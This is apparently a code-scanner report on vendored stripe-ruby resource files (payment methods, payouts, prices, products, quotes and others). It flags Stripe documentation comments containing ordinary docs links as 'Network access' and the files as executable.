# When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event_typ - Network accessline 9
# Related guide: [Payment Links API](https://docs.stripe.com/payment-links) - Network accessline 355
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 468
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. - Network accessline 476
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 612
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. - Network accessline 675
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 693
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 699
# The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. - Network accessline 707
# The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings](https://dashboard.stripe.com/settings/payment_methods).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_method.rb
- Executable scriptline 1
Executable file - Network accessline 5
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 6
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 7
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scena - Network accessline 9
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 149
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 157
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 292
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 296
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 318
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 451
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 459
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 474
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 482
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 528
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 536
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 551
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 559
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 722
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 724
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 912
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1206
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 1481
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1511
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 1536
# Attaches a PaymentMethod object to a Customer. # # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1537
# # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap - Network accessline 1538
# To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1539
# or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage). - Network accessline 1541
# endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for # future use, which makes later declines and payment friction more likely. # See [Optimizing cards for fut - Network accessline 1542
# future use, which makes later declines and payment friction more likely. # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up # futu - Network accessline 1543
# See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up - Network accessline 1545
# # To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me - Network accessline 1546
# To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1547
# set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1558
# Attaches a PaymentMethod object to a Customer. # # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1559
# # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap - Network accessline 1560
# To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1561
# or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage). - Network accessline 1563
# endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for # future use, which makes later declines and payment friction more likely. # See [Optimizing cards for fut - Network accessline 1564
# future use, which makes later declines and payment friction more likely. # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up # futu - Network accessline 1565
# See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up - Network accessline 1567
# # To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me - Network accessline 1568
# To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1569
# set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1580
# Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js. - Network accessline 1582
# Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_method_configuration.rb
- Executable scriptline 1
Executable file - Network accessline 5
# PaymentMethodConfigurations control which payment methods are displayed to your customers when you don't explicitly specify payment method types. You can have multiple configurations with different sets of payment methods for different sc - Network accessline 6
# # There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges): # - Network accessline 7
# There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges): - Network accessline 11
# **Child** configurations apply to payments created on your connected accounts using direct charges, and charges with the on_behalf_of parameter. # # Child configurations have a `parent` that sets default values and controls which sett - Network accessline 12
# # Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's asso - Network accessline 13
# Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's associat - Network accessline 14
# # Related guides: # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations) - Network accessline 15
# Related guides: # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations) # - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-c - Network accessline 16
# - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations) - Network accessline 17
# - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-configs) - Network accessline 18
# - [Multiple configurations for your Connect accounts](https://docs.stripe.com/connect/multiple-payment-method-configurations)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_method_domain.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Stripe Elements use registered payment method domains to control where certain payment methods are shown. # # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration). - Network accessline 8
# Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration). - Network accessline 238
# To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint. # # Related guides: [Payme - Network accessline 240
# Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration). - Network accessline 253
# To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint. # # Related guides: [Payme - Network accessline 255
# Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_record.rb
- Executable scriptline 1
Executable file - Network accessline 16
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 18
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 31
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 33
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 46
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 48
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 61
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 63
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 76
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 78
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 91
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 93
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 106
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 108
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 208
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 210
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 422
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 430
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 729
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 733
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 755
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 973
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1291
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1293
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1500
# Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma - Network accessline 1622
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1624
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1761
# The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types. - Network accessline 1876
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1884
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1940
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payout.rb
- Executable scriptline 1
Executable file - Network accessline 5
# A `Payout` object is created when you receive funds from Stripe, or when you # initiate a payout to either a bank account or debit card of a [connected # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). Y - Network accessline 6
# initiate a payout to either a bank account or debit card of a [connected # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts, # and list all payouts. Payouts are made on - Network accessline 7
# Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts, - Network accessline 8
# and list all payouts. Payouts are made on [varying # schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and # industry. - Network accessline 9
# schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and - Network accessline 10
# industry. # # Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 12
# Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 39
# The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. - Network accessline 41
# The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. - Network accessline 45
# Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/docs/payouts#manual-payouts). - Network accessline 51
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 59
# Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.stripe.com/api#payout_failures). - Network accessline 67
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 69
# The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/do - Network accessline 77
# If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transactions that are paid out in this payout. - Network accessline 112
# To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error. - Network accessline 114
# If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode. # # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to - Network accessline 116
# If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/person.rb
- Executable scriptline 1
Executable file - Network accessline 5
# This is an object representing a person associated with a Stripe account. # # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/account - Network accessline 6
# # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which - Network accessline 7
# A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which incl - Network accessline 9
# See the [Standard onboarding](https://docs.stripe.com/connect/standard-accounts) or [Express onboarding](https://docs.stripe.com/connect/express-accounts) documentation for information about prefilling information and account onboarding s - Network accessline 50
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 58
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 73
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 98
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 194
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 202
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 343
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 349
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 362
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 368
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 387
# The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-verification) to handle verification updates. - Network accessline 422
# Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when. - Network accessline 440
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/plan.rb
- Executable scriptline 1
Executable file - Network accessline 5
# You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. - Network accessline 6
# # Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physic - Network accessline 7
# Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical g - Network accessline 8
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe - Network accessline 10
# For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and mo - Network accessline 12
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview). - Network accessline 69
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 79
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 95
# Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 102
# You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/price.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track - Network accessline 6
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be - Network accessline 8
# For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invo - Network accessline 10
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com - Network accessline 62
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 104
# Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 159
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 161
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 171
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 181
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 198
# Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time. - Network accessline 203
# Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/product.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Products describe the specific goods or services you offer to your customers. # For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product. # They can be used in conj - Network accessline 6
# For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product. # They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payme - Network accessline 7
# They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payment Links, Checkout, and Subscriptions. - Network accessline 8
# # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), # [share a Payment Link](https://docs.stripe.com/payment-links), - Network accessline 9
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), - Network accessline 10
# [share a Payment Link](https://docs.stripe.com/payment-links), - Network accessline 11
# [accept payments with Checkout](https://docs.stripe.com/payments/accept-a-payment#create-product-prices-upfront), - Network accessline 12
# and more about [Products and Prices](https://docs.stripe.com/products-prices/overview) - Network accessline 63
# The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. - Network accessline 73
# A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 75
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 87
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/product_feature.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/promotion_code.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can create multiple codes for a single promotion. # # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves - Network accessline 7
# # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal. # Customers - Network accessline 8
# If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal. - Network accessline 48
# Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 54
# Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount - Network accessline 83
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/quote.rb
- Executable scriptline 1
Executable file - Network accessline 57
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 58
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun - Network accessline 60
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 148
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 149
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun - Network accessline 151
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 338
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to - Network accessline 357
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 358
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 360
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 457
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 473
# Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details. - Network accessline 487
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 489
# A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize). - Network accessline 493
# The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. - Network accessline 552
# A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote). - Network accessline 582
# When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh - Network accessline 592
# When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh - Network accessline 622
# Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf) - Network accessline 635
# Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)
